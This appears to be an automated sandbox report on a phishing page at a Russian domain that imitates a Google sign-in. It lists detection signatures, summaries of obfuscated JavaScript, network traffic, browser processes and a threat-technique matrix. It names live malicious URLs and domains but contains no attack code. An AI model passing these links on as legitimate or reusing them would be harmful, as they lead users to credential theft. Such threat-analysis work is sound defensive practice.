Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://lgs.gngt.ru/d1MHvwa7NXCAlKk/

Overview

General Information

Sample URL:https://lgs.gngt.ru/d1MHvwa7NXCAlKk/
Analysis ID:1590200
Infos:

Detection

HTMLPhisher
Score:76
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

AI detected phishing page
Antivirus / Scanner detection for submitted sample
Yara detected HtmlPhish44
AI detected landing page (webpage, office document or email)
AI detected suspicious Javascript
AI detected suspicious URL
HTML body contains password input but no form action
Stores files to the Windows start menu directory

Classification

  • System is w10x64_ra
  • chrome.exe (PID: 6000 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 6908 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1940,i,12255550340545607304,8761705143945630617,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 7992 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5784 --field-trial-handle=1940,i,12255550340545607304,8761705143945630617,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 8008 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4424 --field-trial-handle=1940,i,12255550340545607304,8761705143945630617,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • chrome.exe (PID: 6728 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://lgs.gngt.ru/d1MHvwa7NXCAlKk/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • cleanup
SourceRuleDescriptionAuthorStrings
dropped/chromecache_89JoeSecurity_HtmlPhish_44Yara detected HtmlPhish_44Joe Security
    No Sigma rule has matched
    No Suricata rule has matched

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: https://lgs.gngt.ru/d1MHvwa7NXCAlKk/Avira URL Cloud: detection malicious, Label: phishing

    Phishing

    barindex
    Source: https://lgs.gngt.ru/d1MHvwa7NXCAlKk/Joe Sandbox AI: Score: 9 Reasons: The brand 'Google' is well-known and typically associated with the domain 'google.com'., The URL 'lgs.gngt.ru' does not match the legitimate domain name for Google., The domain 'gngt.ru' is not associated with Google and appears suspicious., The use of a Russian domain extension '.ru' is unusual for Google, which typically uses '.com'., The URL structure does not include 'google' in any recognizable form, which is a strong indicator of phishing. DOM: 1.2.pages.csv
    Source: Yara matchFile source: dropped/chromecache_89, type: DROPPED
    Source: https://lgs.gngt.ru/d1MHvwa7NXCAlKk/Joe Sandbox AI: Page contains button: 'Submit' Source: '1.2.pages.csv'
    Source: 0.1.id.script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://lgs.gngt.ru/d1MHvwa7NXCAlKk/... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain (Google login page) after a delay. These behaviors are highly indicative of malicious intent, such as attempting to bypass security measures and potentially steal user credentials.
    Source: 0.2.id.script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://lgs.gngt.ru/d1MHvwa7NXCAlKk/... This script demonstrates multiple high-risk behaviors, including dynamic code execution via the Proxy object and eval, potential data exfiltration, and obfuscated code. The combination of these factors indicates a high likelihood of malicious intent, warranting a maximum risk score of 10.
    Source: URLJoe Sandbox AI: AI detected Typosquatting in URL: https://lgs.gngt.ru
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: <input type="password" .../> found but no <form action="...
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: Iframe src: https://accounts.youtube.com/accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=923689542&timestamp=1736788940301
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: Iframe src: https://accounts.youtube.com/accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=923689542&timestamp=1736788940301
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: Iframe src: /_/bscframe
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: Iframe src: https://accounts.youtube.com/accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=923689542&timestamp=1736788940301
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: Iframe src: /_/bscframe
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: Iframe src: https://accounts.youtube.com/accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=923689542&timestamp=1736788940301
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: Iframe src: /_/bscframe
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: <input type="password" .../> found
    Source: https://lgs.gngt.ru/d1MHvwa7NXCAlKk/HTTP Parser: No favicon
    Source: https://lgs.gngt.ru/d1MHvwa7NXCAlKk/HTTP Parser: No favicon
    Source: https://lgs.gngt.ru/d1MHvwa7NXCAlKk/HTTP Parser: No favicon
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: No favicon
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: No favicon
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: No favicon
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: No favicon
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: No <meta name="author".. found
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: No <meta name="author".. found
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: No <meta name="author".. found
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: No <meta name="author".. found
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: No <meta name="copyright".. found
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: No <meta name="copyright".. found
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: No <meta name="copyright".. found
    Source: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Faccounts.google.com%2F&followup=https%3A%2F%2Faccounts.google.com%2F&ifkv=AVdkyDnTfGEj9PeXpKmIf8uCLCUjhThDhebTtvM7IWY02kmoFw6lkXnuPbZJpt-NixIbZS4hJV1qAA&passive=1209600&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S236895319%3A1736788935947102&ddm=1HTTP Parser: No <meta name="copyright".. found
    Source: unknownHTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49718 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49720 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49722 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49779 version: TLS 1.2
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
    Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
    Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
    Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
    Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
    Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 20.12.23.50
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 184.28.90.27
    Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
    Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
    Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: global trafficDNS traffic detected: DNS query: lgs.gngt.ru
    Source: global trafficDNS traffic detected: DNS query: code.jquery.com
    Source: global trafficDNS traffic detected: DNS query: a.nel.cloudflare.com
    Source: global trafficDNS traffic detected: DNS query: www.google.com
    Source: global trafficDNS traffic detected: DNS query: cdn.prod.website-files.com
    Source: global trafficDNS traffic detected: DNS query: j989ijgymvgswiqbqvjxbpupwxvroyivx1anrmfovavu6v71ppg.aterower.ru
    Source: global trafficDNS traffic detected: DNS query: accounts.youtube.com
    Source: global trafficDNS traffic detected: DNS query: play.google.com
    Source: unknownNetwork traffic detected: HTTP traffic on port 49708 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
    Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
    Source: unknownNetwork traffic detected: HTTP traffic on port 49779 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49678 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49781
    Source: unknownNetwork traffic detected: HTTP traffic on port 49727 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49781 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
    Source: unknownNetwork traffic detected: HTTP traffic on port 49776 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49778 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
    Source: unknownNetwork traffic detected: HTTP traffic on port 49774 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49779
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49778
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710
    Source: unknownNetwork traffic detected: HTTP traffic on port 49709 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49776
    Source: unknownNetwork traffic detected: HTTP traffic on port 49707 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49774
    Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49724 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49768 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49709
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49708
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49707
    Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49727
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
    Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49724
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49768
    Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
    Source: unknownHTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49718 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49720 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.16:49722 version: TLS 1.2
    Source: unknownHTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.16:49779 version: TLS 1.2
    Source: classification engineClassification label: mal76.phis.win@22/27@26/130
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
    Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1940,i,12255550340545607304,8761705143945630617,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
    Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://lgs.gngt.ru/d1MHvwa7NXCAlKk/"
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1940,i,12255550340545607304,8761705143945630617,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5784 --field-trial-handle=1940,i,12255550340545607304,8761705143945630617,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4424 --field-trial-handle=1940,i,12255550340545607304,8761705143945630617,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=5784 --field-trial-handle=1940,i,12255550340545607304,8761705143945630617,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=video_capture.mojom.VideoCaptureService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4424 --field-trial-handle=1940,i,12255550340545607304,8761705143945630617,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
    Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
    ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
    Gather Victim Identity InformationAcquire Infrastructure1
    Drive-by Compromise
    Windows Management Instrumentation3
    Browser Extensions
    1
    Process Injection
    1
    Masquerading
    OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System2
    Encrypted Channel
    Exfiltration Over Other Network MediumAbuse Accessibility Features
    CredentialsDomainsDefault AccountsScheduled Task/Job1
    Registry Run Keys / Startup Folder
    1
    Registry Run Keys / Startup Folder
    1
    Process Injection
    LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
    Non-Application Layer Protocol
    Exfiltration Over BluetoothNetwork Denial of Service
    Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive2
    Application Layer Protocol
    Automated ExfiltrationData Encrypted for Impact

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand
    SourceDetectionScannerLabelLink
    https://lgs.gngt.ru/d1MHvwa7NXCAlKk/100%Avira URL Cloudphishing
    No Antivirus matches
    No Antivirus matches
    No Antivirus matches
    No Antivirus matches
